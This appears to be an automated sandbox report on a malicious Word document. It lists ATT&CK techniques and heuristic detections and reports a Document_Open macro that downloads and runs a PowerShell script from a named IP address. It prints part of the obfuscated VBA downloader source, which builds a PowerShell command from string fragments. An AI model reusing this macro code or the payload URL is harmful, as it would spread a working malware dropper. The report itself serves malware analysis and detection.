MALICIOUS
162
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a Document_Open VBA macro that utilizes the Shell() function to execute a PowerShell command. This command downloads a script from 'http://185.189.255.144/a.ps1' and executes it. The VBA macro's primary function is to initiate the download and execution of a secondary payload, indicating a downloader or droppper functionality.
Heuristics 5
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 43245 bytes |
SHA-256: dfaca25dee6ee431363640aafcd2d5d166b7d494d87d98ede0b96872655bed11 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "wKhAmYLMwhXk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
ImEUz = XmrqVL * UWVIu - (95238 - PLmib - 35925 + iJvtuL - (VXtJH + jZcub))
zvzwcw = lXpirD * IjvlE - (67230 - mfYXTP - 52376 + twjzz - (OEowr + XBwNJ))
XMtrr = qNPab * jLTds - (4129 - DYucHo - 24142 + NkhLO - (wDFzFo + JowdNn))
FMOwUDHjXh = Application.Run("MsOUWPU", "" + nYqKJYn + Ztjtpcw + qzEnt + VcMUBuVJfkL + znTzmq + iNrEjnU + tVlpH + WMBXQENMzFG + wlmLCEi + DUJWzp + bstNwRM + QiKMZ + YfNLmAds + uziwB + dRkDwmRh + YFLPTvc + DfDdchPMMmHO)
NKujww = ADzKMc * wdBaUM - (4183 - fjMQO - 921 + WEouSw - (YLjmt + bDSPF))
End Sub
Attribute VB_Name = "iljtQlDiO"
Function qzEnt()
On Error Resume Next
qGitKZ = (69666 / rviuwj)
AwdlCO = 32361 / YNzrqZ - RMGCa * nisVw / FTCvOc / NFiGL * (FcvCV + Mttfp + vdFNUk + EYLSW + iPQLw - FvvUur - XOmwLn - RTzUA)
bXfdY = "" + LWsNBRcz + APPwKMkP + "po" + bkRrkWqNR + jSqJitkopGu + "wer" + kXczXiLTt + aEAcibOiofQw + "sHE" + jTAazHjFBHNur + iKqfJiasHKNr + "LL" + kTbCMrOLstfAU + PjkYzJVZQPEGa + " " + lPVPQnmri + TRzzJNXAsa + Chr(34) + " "
qHwIi = 2050 / bEXOfB * (79548 / 78775) - 69012 - 57554 - lvPhY / jrLSth
MjPuK = 75952 / koScI * (30862 / 60143) - 10982 - 73501 - dsFZf / DcQGqj
pFbLwpGF = "" + RlATWXlLB + LzoOnjciwilI + ".( " + crpahXG + jDoQHkzjN + "$e" + ijCziMEhDjjcR + jvlTRbwiEKwQUw + "nV:" + XOsUvosvUSYJiD + ANDEwtcPkw + "CoM" + jwkjFnIOZvwr + wwCpABjbPHuuz + "spEc" + dkwqFPXioDuv + FPMAIuiMuwwCEh + "[4" + LqicwKBBwZbQN + GXdKsit + ",1" + HQqwuCLqFzsE + BuNLCjTNwItq + "5,25" + WkHRBwUfUDG + kLOtBpncQ + "]-" + rEOuRhFDXk + sbCUOWZKEG + "jOiN" + BkPsAswGGjZw + NnwDYdQrVSw + "''"
GqUSk = 68932 / shRMCf * (74337 / 25876) - 26882 - 16348 - FmoIm / BirTK
ZMQKSXd = "" + fTsQlRpNCifVlA + CdNQtikzDIRBs + ") ([" + TTTXLuwcrMsk + QaApBRjBhAw + "stR"
bczkz = 85097 / XtGQO * (15551 / 46011) - 16251 - 9147 - ffcAz / aZtib
McznUq = 99591 / CSchw * (10822 / 2047) - 42127 - 8574 - wiUni / LruBS
RaZcYTUu = "" + uPzBFwVBdfdEXE + tDmiVnKSdWZ + "in" + KztwHVz + DIqiBzXshV + "G]:" + oXrOcHFhX + KvThjIPjZS + ":joI"
isrlN = 91206 / pEKmVZ * (3552 / 66427) - 60093 - 27675 - bzUkfi / PnkRma
jiawzosKwh = "" + NVlVslmtSA + IhZkUfqXjtMIDw + "n(" + XRjkDCo + sBpMbSfZkGFKhR + " ''" + urUIdSud + ARYuFtMqbi + ",[" + EbhjTrBq + oaIKUEQ + "cha" + MbFROApA + qpQJkmtauwCbvf + "r[]" + wmvZIaBWojz + iiqpsAKXQX + "] " + dWbEkfaQlCC + pPouVAmjHMUMm + "( 3" + qFhOWwiDZRE + tifbkBDkWd + "6, " + lrWKHszcva + ojpKLOcQzN + "97" + jsbkAuTbmr + ItRZGbiS + ",10" + nBMsYHBi + BzdPQNcBGE + "6,"
wbrCi = 82568 / KzVDp * (57299 / 50148) - 13241 - 20027 - pUfuib / mcqCuv
wiBSwD = 18392 / jXXWE * (50696 / 45236) - 14239 - 41883 - aHRLF / QCItw
SrKNM = "" + LauNXsQ + cmNWblJ + " 1" + DizRSAMPC + QCFjjSz + "22 " + SwEPsBoQQAFtBd + ItIuBIqQLlajj + ",61," + lzvzGZiZ + vwBvKOZt + " 110" + YrRvKGoDGbI + rTvGiFTaUri + ",1" + pUAXBnsL + fzoAliTpDLVJbO + "01, " + nUBEAiqAQTCjaU + GZQGpEivB + "11" + uojtmPGzYKj + JokRbjPjUDCBwA + "9 , " + mFDwDwMkaQTT + HajTzBUQU + "45" + vakdrnPAQlFd + NbzrKQvOBvcVf + ", "
OVklM = (VcHid * SEjCw * akZUZJ - qhYoA) / HLwBQ + rjkrz / JjMcJU - fkFTiu * (92614 / lVaznG)
mAYfBiZVm = "" + VCQiFBpsabPdn + EvUlCsSHUt + "11" + KuLmzKUGH + aiPaDSjz + "1 ,"
Dssla = (zDvwp * ofwOpS * THQAk - CnSPpo) / IFHBTA + rVDLH / aujbo - NiiAmr * (15377 / XjjnGH)
sLhYIN = (ImMSlk * wDMSzV * HtKIWm - KjEHn) / jffVZ + PURZQ / LiMjmb - OMlRWP * (71955 / cwCHLw)
iYwuov = (wDEtOT * DqaMa * iFUKL - zKoQF) / bjMLft + SDfziw / XPcqMt - dNcDmi * (60368 / QKnwtm)
jqipLSjlCB = "" + XqshGOpTu + DJazdSYG + " 9" + JGnqmWOSF + ktMwiHIwvwcAaW + "8," + FisaJzFNjE + rbBoTQTQNB + "106 "
PICPh = (NTSzI * MVkknw * dQoGU - njKDDJ) / jhKBz + jdrXBs / Nbwfj - PoRubC * (65422 / taDQP)
EiLjn = (SimsmN * jLiiT * uPSniw - YmDnH) / DNJwmv + fwGiCo / fihrYw - uolrck * (4584
... (truncated)
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